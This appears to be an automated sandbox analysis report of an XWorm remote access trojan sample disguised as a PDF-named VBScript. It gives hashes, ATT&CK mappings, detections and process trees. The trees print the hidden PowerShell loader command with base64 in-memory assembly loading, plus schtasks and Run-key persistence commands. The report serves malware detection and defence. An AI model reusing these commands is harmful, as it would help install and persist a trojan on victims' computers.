xworm | c943e2f47a072da49f5ee2a3c1c0d4c9282200bb4cb12e1dc72fb014e9904162

Analysis

max time kernel
150s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/10/2026, 14:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RFQ-SCM04429866,PDF.vbs
Size 5.2MB
Sample261001-r982bsserd
SHA256 c943e2f47a072da49f5ee2a3c1c0d4c9282200bb4cb12e1dc72fb014e9904162
MD5 909713d46da8801f69fbcc844fd24a05
SHA1 06eceb1d81f253e75030fc8cb26d20a61eb276a3
SHA512 740831c6075dd61d4f2c80f08ac0da283900dc7d8ddbf7cb2826f4232fdb11de481917069fb74a626c93cde6ac638f5004eb7a1559fee679321013de3cf84eb0
SSDEEP 1536:aQK2unXUHxjqa3lIBqcpUdMOgoCLpKqiQQUEjrDA+WOqb4dL5ZLn4C7ZnqwUTu89:ED
TLSH
T173464CAA68C345B16B380F8B1B941395CBACB4FD93B4524E1CD7D8EFEC9615E8CC9418
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm persistence privilege_escalation rat trojan

Malware Config

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/52-39-0x0000000000400000-0x000000000041C000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5112	4128	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5112	powershell.exe
3968	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWt.lnk	Caspol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWt.lnk	Caspol.exe

Executes dropped EXE 3 IoCs

pid	Process
1604	XWt.exe
5496	XWt.exe
5732	XWt.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\XWt = "C:\\Users\\Admin\\XWt.exe"	Caspol.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2392	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5112 set thread context of 52	5112	powershell.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3452	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5112	powershell.exe
5112	powershell.exe
3968	powershell.exe
3968	powershell.exe
5112	powershell.exe
3968	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	52	Caspol.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 3968	2392	WScript.exe	92
PID 5112 wrote to memory of 52	5112	powershell.exe	94
PID 5112 wrote to memory of 52	5112	powershell.exe	94
PID 5112 wrote to memory of 52	5112	powershell.exe	94
PID 5112 wrote to memory of 52	5112	powershell.exe	94
PID 5112 wrote to memory of 52	5112	powershell.exe	94
PID 52 wrote to memory of 3452	52	Caspol.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ-SCM04429866,PDF.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$effervesces=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$gryphite=[Convert]::FromBase64String($effervesces);[AppDomain]::CurrentDomain.Load($gryphite)|Out-Null;[Win32.RMP.Cls_qSwxpmLZpz]::Met_qSwxpmLZpzwo('DKQoRRwinglw+yN3ad60Lkxd9zxR/n/UXaKRbYOt8fLnnHxmVeKLqRJgwLH8V6b0','','9U6/fXE43VX53i5im2D8fw+1njaFellkIbl5agH2xnY8jrJbmsGVMpQfhLc7sOjs','m3UXmWhBBS/SCLEeuZLjynzM8K0b1HfnXoNacWMtWQQ=','dkopWhrubpvGOpEVbMuzoKeckW64hLLw2KYJnpyn1WE=','','Pnn8wkcqT8MJo0d3yF9dZNA1vjUH+dYNTAuuSyITpDE=','','','qhqUmy9V0QEgSepv0pQtSWgNzo1hv27yhUql3d3kydqbxYW1ax/N4Kftw/7Kz0R8','F7MTw0DKWHQBdDLYi2eIR4eur2rV+rY5QSs0rgD0cnA=','Jxd1mv04NlmKCHrFJtRHw3Uc84NXfVAZVT2HFgLvM/Y=','OgbliJSuwxz5nGhxcpKF8cer61HdIkaPvwKnb8V2laM=','','L7OZ1OOSbCOFo0Wv3+sriexwkYwmpTmKTHEbwhj+lSA=','5dd1UPqh9b8g+bCTFPEV71pm6l+sJX55CqTU//An+7E=','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$effervesces=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$gryphite=[Convert]::FromBase64String($effervesces);[AppDomain]::CurrentDomain.Load($gryphite)|Out-Null;[Win32.RMP.Cls_qSwxpmLZpz]::Met_qSwxpmLZpzwo('DKQoRRwinglw+yN3ad60Lkxd9zxR/n/UXaKRbYOt8fLnnHxmVeKLqRJgwLH8V6b0','','9U6/fXE43VX53i5im2D8fw+1njaFellkIbl5agH2xnY8jrJbmsGVMpQfhLc7sOjs','m3UXmWhBBS/SCLEeuZLjynzM8K0b1HfnXoNacWMtWQQ=','dkopWhrubpvGOpEVbMuzoKeckW64hLLw2KYJnpyn1WE=','','Pnn8wkcqT8MJo0d3yF9dZNA1vjUH+dYNTAuuSyITpDE=','','','qhqUmy9V0QEgSepv0pQtSWgNzo1hv27yhUql3d3kydqbxYW1ax/N4Kftw/7Kz0R8','F7MTw0DKWHQBdDLYi2eIR4eur2rV+rY5QSs0rgD0cnA=','Jxd1mv04NlmKCHrFJtRHw3Uc84NXfVAZVT2HFgLvM/Y=','OgbliJSuwxz5nGhxcpKF8cer61HdIkaPvwKnb8V2laM=','','L7OZ1OOSbCOFo0Wv3+sriexwkYwmpTmKTHEbwhj+lSA=','5dd1UPqh9b8g+bCTFPEV71pm6l+sJX55CqTU//An+7E=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5112
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Creates a file in the Startup directory
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:52
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWt" /tr "C:\Users\Admin\XWt.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3452

C:\Users\Admin\XWt.exe
C:\Users\Admin\XWt.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1604

C:\Users\Admin\XWt.exe
"C:\Users\Admin\XWt.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5496

C:\Users\Admin\XWt.exe
"C:\Users\Admin\XWt.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_atnbvjol.spp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_atnbvjol.spp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

XWt.exe

Path C:\Users\Admin\XWt.exe
Size 99KB
SHA256 57e9675902b443085e37ead57dfed97de6bb61321682bc93aff30f16b5ca5aeb
MD5 f61fa5ce25f885a9b1f549055c9911ed
SHA1 aba1c035b06017b0b0bd1c712669646e4f3765ab
SHA512 02e3db343037294fd3b774f954c9a617a50715e6b89d7c409f3c7dc5a1cf5ed9418158c442e9e80111994da139a9a16db33ac68a833d6d115c4a41bdf75751ac
SSDEEP 1536:VSF7vAYeRqH3ex0Jj/3MZpEktOgl6mdcQ6A4vrZZ1RpvlWN4wpzh:qAYeXGJy96mdclA4vrNRpvlsld
TLSH
T140A3B465B3FD1224F2FF8B70ADF89452453BBD9BA951C26D2C89028906327C1D922F77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/52-43-0x0000000005880000-0x00000000058E6000-memory.dmp

Download

memory/52-44-0x00000000059A0000-0x0000000005A3C000-memory.dmp

Download

memory/52-39-0x0000000000400000-0x000000000041C000-memory.dmp

Download

memory/1604-51-0x0000000000E80000-0x0000000000E9C000-memory.dmp

Download

memory/3968-35-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-38-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-34-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-33-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-32-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-31-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-30-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-29-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-26-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-27-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/3968-28-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-19-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-17-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-23-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-22-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-21-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-20-0x000001CD87FB0000-0x000001CD87FD2000-memory.dmp

Download

memory/5112-24-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-0-0x00007FFC3A45F000-0x00007FFC3A460000-memory.dmp

Download

memory/5112-25-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-36-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-16-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-42-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-15-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-8-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download

memory/5112-2-0x000001CD87F30000-0x000001CD87F52000-memory.dmp

Download

memory/5112-1-0x00007FFC3A2D0000-0x00007FFC3AC74000-memory.dmp

Download